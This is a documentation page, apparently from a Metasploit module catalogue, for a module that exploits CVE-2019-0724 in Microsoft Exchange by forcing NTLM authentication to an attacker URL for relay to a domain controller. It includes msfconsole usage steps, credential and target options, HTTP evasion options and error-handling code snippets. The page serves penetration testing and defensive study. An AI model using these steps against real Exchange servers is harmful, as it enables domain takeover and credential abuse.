Microsoft Exchange Privilege Escalation Exploit - Metasploit

This page contains detailed information about how to use the auxiliary/scanner/http/exchange_web_server_pushsubscription metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Microsoft Exchange Privilege Escalation Exploit
Module: auxiliary/scanner/http/exchange_web_server_pushsubscription
Source code: modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Disclosure date: 2019-01-21
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-0724

This module exploits a privilege escalation vulnerability found in Microsoft Exchange - CVE-2019-0724 Execution of the module will force Exchange to authenticate to an arbitrary URL over HTTP via the Exchange PushSubscription feature. This allows us to relay the NTLM authentication to a Domain Controller and authenticate with the privileges that Exchange is configured. The module is based on the work by @_dirkjan,

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/scanner/http/exchange_web_server_pushsubscription
msf auxiliary(exchange_web_server_pushsubscription) > show targets
    ... a list of targets ...
msf auxiliary(exchange_web_server_pushsubscription) > set TARGET target-id
msf auxiliary(exchange_web_server_pushsubscription) > show options
    ... show and set options ...
msf auxiliary(exchange_web_server_pushsubscription) > exploit

Required Options

RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
DOMAIN: The Active Directory domain name
USERNAME: Username of any domain user with a mailbox on Exchange
PASSWORD: Password or password hash (in LM:NT format) of the user
ATTACKER_URL: Attacker URL

Knowledge Base

Vulnerable Application

Microsoft Exchange 2013 and 2016
Tested on Exchange 2016
Usage:
- Download and install Exchange Server within a Windows domain
- Setup a mailbox with a domain user
- Run the module
- Relay the NTLM authentication to the DC

Verification Steps

Example steps:

Start msfconsole
Do: use auxiliary/scanner/http/exchange_web_server_pushsubscription
Do: set attacker_url <url>
Do: set rport <target_port>
Do: set rhost <target_IP>
Do: set domain <domain_name>
Do: set password <user_pass>
Do: set username <user_pass>
Do: run

Options

The ATTACKER_URL option

This option should contain a URL under the attacker's control. This is where the Exchange will try to authenticate.

The PASSWORD option This can be either the password or the NTLM hash of any domain user with a mailbox configured on Exchange.

Scenarios

This module can be used to make a request to the Exchange server and force it to authenticate to a URL under our control. An example scenario is that when this module is combined with an NTLM relay attack, if the Exchange server has the necessary permissions it is possible to grant us DCSync rights.

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Msfconsole Usage

Here is how the scanner/http/exchange_web_server_pushsubscription auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/exchange_web_server_pushsubscription

msf6 auxiliary(scanner/http/exchange_web_server_pushsubscription) > show info

       Name: Microsoft Exchange Privilege Escalation Exploit
     Module: auxiliary/scanner/http/exchange_web_server_pushsubscription
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-01-21

Provided by:
  _dirkjan
  Petros Koutroumpis

Check supported:
  No

Basic options:
  Name              Current Setting     Required  Description
  ----              ---------------     --------  -----------
  ATTACKER_URL                          yes       Attacker URL
  DOMAIN                                yes       The Active Directory domain name
  EXCHANGE_VERSION  2016                yes       Version of Exchange (2013|2016)
  PASSWORD                              yes       Password or password hash (in LM:NT format) of the user
  Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT             443                 yes       The target port (TCP)
  SSL               true                no        Negotiate SSL/TLS for outgoing connections
  TARGETURI         /EWS/Exchange.asmx  yes       Exchange Web Services API endpoint
  USERNAME                              yes       Username of any domain user with a mailbox on Exchange
  VHOST                                 no        HTTP server virtual host

Description:
  This module exploits a privilege escalation vulnerability found in 
  Microsoft Exchange - CVE-2019-0724 Execution of the module will 
  force Exchange to authenticate to an arbitrary URL over HTTP via the 
  Exchange PushSubscription feature. This allows us to relay the NTLM 
  authentication to a Domain Controller and authenticate with the 
  privileges that Exchange is configured. The module is based on the 
  work by @_dirkjan,

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-0724
  https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

Module Options

This is a complete list of options available in the scanner/http/exchange_web_server_pushsubscription auxiliary module:

msf6 auxiliary(scanner/http/exchange_web_server_pushsubscription) > show options

Module options (auxiliary/scanner/http/exchange_web_server_pushsubscription):

   Name              Current Setting     Required  Description
   ----              ---------------     --------  -----------
   ATTACKER_URL                          yes       Attacker URL
   DOMAIN                                yes       The Active Directory domain name
   EXCHANGE_VERSION  2016                yes       Version of Exchange (2013|2016)
   PASSWORD                              yes       Password or password hash (in LM:NT format) of the user
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             443                 yes       The target port (TCP)
   SSL               true                no        Negotiate SSL/TLS for outgoing connections
   TARGETURI         /EWS/Exchange.asmx  yes       Exchange Web Services API endpoint
   USERNAME                              yes       Username of any domain user with a mailbox on Exchange
   VHOST                                 no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the scanner/http/exchange_web_server_pushsubscription auxiliary module:

msf6 auxiliary(scanner/http/exchange_web_server_pushsubscription) > show advanced

Module advanced options (auxiliary/scanner/http/exchange_web_server_pushsubscription):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/http/exchange_web_server_pushsubscription module can do:

msf6 auxiliary(scanner/http/exchange_web_server_pushsubscription) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/http/exchange_web_server_pushsubscription auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/exchange_web_server_pushsubscription) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Connection failed
SSL negotiation failed
Connection failed
Server returned HTTP status 401 - Authentication failed
Empty reply from server
ErrorInvalidServerVersion
Server does not accept this Exchange dialect. Specify a different Exchange version
Server returned HTTP <RES.CODE>: <XML.TEXT>
ErrorMissingEmailAddress
The user does not have a mailbox associated. Try a different user.
NoError
Unknown error. Response: <XML.TEXT>

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed

Here is a relevant code snippet related to the "Connection failed" error message:

104:	    begin
105:	      res = http.send_recv(req)
106:	      xml = res.get_xml_document
107:	      http.close
108:	    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT, ::Rex::HostUnreachable
109:	      print_error("Connection failed")
110:	    rescue OpenSSL::SSL::SSLError, OpenSSL::Cipher::CipherError
111:	      print_error "SSL negotiation failed"
112:	    end
113:	
114:	    if res.nil?

SSL negotiation failed

Here is a relevant code snippet related to the "SSL negotiation failed" error message:

106:	      xml = res.get_xml_document
107:	      http.close
108:	    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT, ::Rex::HostUnreachable
109:	      print_error("Connection failed")
110:	    rescue OpenSSL::SSL::SSLError, OpenSSL::Cipher::CipherError
111:	      print_error "SSL negotiation failed"
112:	    end
113:	
114:	    if res.nil?
115:	      fail_with(Failure::Unreachable, 'Connection failed')
116:	    end

Connection failed

Here is a relevant code snippet related to the "Connection failed" error message:

110:	    rescue OpenSSL::SSL::SSLError, OpenSSL::Cipher::CipherError
111:	      print_error "SSL negotiation failed"
112:	    end
113:	
114:	    if res.nil?
115:	      fail_with(Failure::Unreachable, 'Connection failed')
116:	    end
117:	
118:	    if res.code == 401
119:	      fail_with(Failure::NoAccess, 'Server returned HTTP status 401 - Authentication failed')
120:	    end

Server returned HTTP status 401 - Authentication failed

Here is a relevant code snippet related to the "Server returned HTTP status 401 - Authentication failed" error message:

114:	    if res.nil?
115:	      fail_with(Failure::Unreachable, 'Connection failed')
116:	    end
117:	
118:	    if res.code == 401
119:	      fail_with(Failure::NoAccess, 'Server returned HTTP status 401 - Authentication failed')
120:	    end
121:	
122:	    if xml.nil?
123:	      fail_with(Failure::UnexpectedReply, "Empty reply from server")
124:	    end

Empty reply from server

Here is a relevant code snippet related to the "Empty reply from server" error message:

118:	    if res.code == 401
119:	      fail_with(Failure::NoAccess, 'Server returned HTTP status 401 - Authentication failed')
120:	    end
121:	
122:	    if xml.nil?
123:	      fail_with(Failure::UnexpectedReply, "Empty reply from server")
124:	    end
125:	
126:	    if res.code == 500 && xml.text.include?("ErrorInvalidServerVersion")
127:	      fail_with(Failure::BadConfig, "Server does not accept this Exchange dialect. Specify a different Exchange version")
128:	    end

ErrorInvalidServerVersion

Here is a relevant code snippet related to the "ErrorInvalidServerVersion" error message:

121:	
122:	    if xml.nil?
123:	      fail_with(Failure::UnexpectedReply, "Empty reply from server")
124:	    end
125:	
126:	    if res.code == 500 && xml.text.include?("ErrorInvalidServerVersion")
127:	      fail_with(Failure::BadConfig, "Server does not accept this Exchange dialect. Specify a different Exchange version")
128:	    end
129:	
130:	    unless res.code == 200
131:	      fail_with(Failure::UnexpectedReply, "Server returned HTTP #{res.code}: #{xml.text}")

Server does not accept this Exchange dialect. Specify a different Exchange version

Here is a relevant code snippet related to the "Server does not accept this Exchange dialect. Specify a different Exchange version" error message:

122:	    if xml.nil?
123:	      fail_with(Failure::UnexpectedReply, "Empty reply from server")
124:	    end
125:	
126:	    if res.code == 500 && xml.text.include?("ErrorInvalidServerVersion")
127:	      fail_with(Failure::BadConfig, "Server does not accept this Exchange dialect. Specify a different Exchange version")
128:	    end
129:	
130:	    unless res.code == 200
131:	      fail_with(Failure::UnexpectedReply, "Server returned HTTP #{res.code}: #{xml.text}")
132:	    end

Server returned HTTP <RES.CODE>: <XML.TEXT>

Here is a relevant code snippet related to the "Server returned HTTP <RES.CODE>: <XML.TEXT>" error message:

126:	    if res.code == 500 && xml.text.include?("ErrorInvalidServerVersion")
127:	      fail_with(Failure::BadConfig, "Server does not accept this Exchange dialect. Specify a different Exchange version")
128:	    end
129:	
130:	    unless res.code == 200
131:	      fail_with(Failure::UnexpectedReply, "Server returned HTTP #{res.code}: #{xml.text}")
132:	    end
133:	
134:	    print_good("Exchange returned HTTP status 200 - Authentication was successful")
135:	
136:	    if xml.text.include? "ErrorMissingEmailAddress"

ErrorMissingEmailAddress

Here is a relevant code snippet related to the "ErrorMissingEmailAddress" error message:

131:	      fail_with(Failure::UnexpectedReply, "Server returned HTTP #{res.code}: #{xml.text}")
132:	    end
133:	
134:	    print_good("Exchange returned HTTP status 200 - Authentication was successful")
135:	
136:	    if xml.text.include? "ErrorMissingEmailAddress"
137:	      fail_with(Failure::BadConfig, "The user does not have a mailbox associated. Try a different user.")
138:	    end
139:	
140:	    unless xml.text.include? "NoError"
141:	      fail_with(Failure::Unknown, "Unknown error. Response: #{xml.text}")

The user does not have a mailbox associated. Try a different user.

Here is a relevant code snippet related to the "The user does not have a mailbox associated. Try a different user." error message:

132:	    end
133:	
134:	    print_good("Exchange returned HTTP status 200 - Authentication was successful")
135:	
136:	    if xml.text.include? "ErrorMissingEmailAddress"
137:	      fail_with(Failure::BadConfig, "The user does not have a mailbox associated. Try a different user.")
138:	    end
139:	
140:	    unless xml.text.include? "NoError"
141:	      fail_with(Failure::Unknown, "Unknown error. Response: #{xml.text}")
142:	    end

NoError

Here is a relevant code snippet related to the "NoError" error message:

135:	
136:	    if xml.text.include? "ErrorMissingEmailAddress"
137:	      fail_with(Failure::BadConfig, "The user does not have a mailbox associated. Try a different user.")
138:	    end
139:	
140:	    unless xml.text.include? "NoError"
141:	      fail_with(Failure::Unknown, "Unknown error. Response: #{xml.text}")
142:	    end
143:	
144:	    print_good("API call was successful")
145:

Unknown error. Response: <XML.TEXT>

Here is a relevant code snippet related to the "Unknown error. Response: <XML.TEXT>" error message:

136:	    if xml.text.include? "ErrorMissingEmailAddress"
137:	      fail_with(Failure::BadConfig, "The user does not have a mailbox associated. Try a different user.")
138:	    end
139:	
140:	    unless xml.text.include? "NoError"
141:	      fail_with(Failure::Unknown, "Unknown error. Response: #{xml.text}")
142:	    end
143:	
144:	    print_good("API call was successful")
145:	
146:	  end

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References

Authors

_dirkjan
Petros Koutroumpis

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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Microsoft Exchange Privilege Escalation Exploit - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Vulnerable Application

Verification Steps

Options

Scenarios

Msfconsole Usage

Module Options

Advanced Options

Auxiliary Actions

Evasion Options

Error Messages

Connection failed

SSL negotiation failed

Connection failed

Server returned HTTP status 401 - Authentication failed

Empty reply from server

ErrorInvalidServerVersion

Server does not accept this Exchange dialect. Specify a different Exchange version

Server returned HTTP <RES.CODE>: <XML.TEXT>

ErrorMissingEmailAddress

The user does not have a mailbox associated. Try a different user.

NoError

Unknown error. Response: <XML.TEXT>

Related Pull Requests

References

See Also

Authors

Version